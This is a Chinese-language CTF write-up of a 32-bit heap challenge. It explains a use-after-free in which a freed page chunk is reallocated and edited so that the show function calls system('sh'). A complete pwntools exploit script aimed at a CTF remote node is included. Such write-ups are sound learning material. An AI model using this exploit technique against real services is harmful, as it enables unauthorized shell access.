
正常的增删改查功能

add 中创建一个堆放入 page 在数组之中的,v1 作为计数变量,每添加一个都自增

show 函数中输入 0 时会调用
(*((void (__cdecl **)(char *))page + 1))(page);
程序是 32 位使用 page+1 = page 地址+4
page[4]=函数名
page[0]=参数
此时就是需要修改 page[0]=sh\x00\x00+system 地址
使用sh\x00\x00 是因为只能存入 4 字节/bin/sh\x00 超出 4 字节

但是在 edit 函数中我们无法直接去修改 page[0] 中的值

del 函数中 free 未置 0
但是 v1 这个计数单位也未置 0
此时我们可以用到堆中的机制
先创建一个 chunk1,再释放掉 chunk1,此时在申请一个 chunk2
chunk2 使用的还是 chunk1 的地址,因为申请一个比较小的堆块时会在 fastbin 中先进行查找有没有对应 size 的堆块,如果有那就申请出来
所以我们可以利用此机制去修改 chunk1,此时修改 chunk1 就是在修改 chunk0 的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * from LibcSearcher import * misaki=0 if misaki: context(log_level='debug',arch='amd64',os='linux') else: context(log_level='debug',arch='i386',os='linux') ming=1 if ming: p=remote('node4.anna.nssctf.cn',28325) else: p=process("./")
def s(a): p.send(a) def sl(a): p.sendline(a) def sa(a,b): p.sendafter(a,b) def sla(a,b): p.sendlineafter(a,b) def r(): p.recv() def rl(a): return p.recvuntil(a) def m(): gdb.attach(p)
def add(): sla(b':',b'1')
def free(idx): sla(b':',b'3') sla(b'Input page\n',str(idx))
def edit(idx,data): sla(b':',b'2') sla(b'Input page\n',str(idx)) sla(b'Input your strings\n',data)
def show(idx): sla(b':',b'4') sla(b'Input page\n',str(idx))
len=0X90
add() free(0) add() edit(1,b'sh\x00\x00'+p32(0x08048642)) show(0) p.interactive()
|